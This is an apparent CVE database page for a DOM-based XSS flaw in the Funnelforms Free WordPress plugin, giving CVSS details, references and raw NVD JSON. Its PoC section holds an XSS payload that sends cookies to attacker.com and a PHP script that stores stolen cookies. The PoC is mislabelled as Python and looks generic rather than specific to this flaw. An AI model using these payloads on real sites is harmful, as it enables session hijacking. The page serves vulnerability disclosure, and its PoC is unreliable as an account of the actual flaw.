CVE-2025-62758

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Funnelforms Funnelforms Free funnelforms-free allows DOM-Based XSS.This issue affects Funnelforms Free: from n/a through <= 3.8.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Funnelforms Free <= 3.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- DOM型XSS PoC for CVE-2025-62758 -->
<!-- 攻击者诱导已登录用户访问以下恶意URL -->
<a href="http://target-site.com/?param=<script>alert(document.cookie)</script>">点击这里</a>

<!-- 或者使用事件处理器 -->
<a href="http://target-site.com/?param=" onerror="alert(document.cookie)">点击这里</a>

<!-- 完整的攻击URL示例 -->
<!-- http://vulnerable-site.com/funnel-form-page/?ff_name=<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)> -->

<!-- 攻击者服务器端接收Cookie的代码 (attacker.com/steal) -->
<?php
if(isset($_GET['cookie'])) {
    $cookie = $_GET['cookie'];
    file_put_contents('stolen_cookies.txt', $cookie . "\n", FILE_APPEND);
}
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62758
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62758
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62758/
[4] VulDB https://vuldb.com/cve/CVE-2025-62758
[5] https://patchstack.com/database/Wordpress/Plugin/funnelforms-free/vulnerability/wordpress-funnelforms-free-plugin-3-8-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62758", "sourceIdentifier": "[email protected]", "published": "2025-12-31T09:15:51.473", "lastModified": "2026-04-23T15:34:41.303", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Funnelforms Funnelforms Free funnelforms-free allows DOM-Based XSS.This issue affects Funnelforms Free: from n/a through <= 3.8."}, {"lang": "es", "value": "Vulnerabilidad de Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') en Funnelforms Funnelforms Free permite XSS basado en DOM. Este problema afecta a Funnelforms Free: desde n/a hasta 3.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/funnelforms-free/vulnerability/wordpress-funnelforms-free-plugin-3-8-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}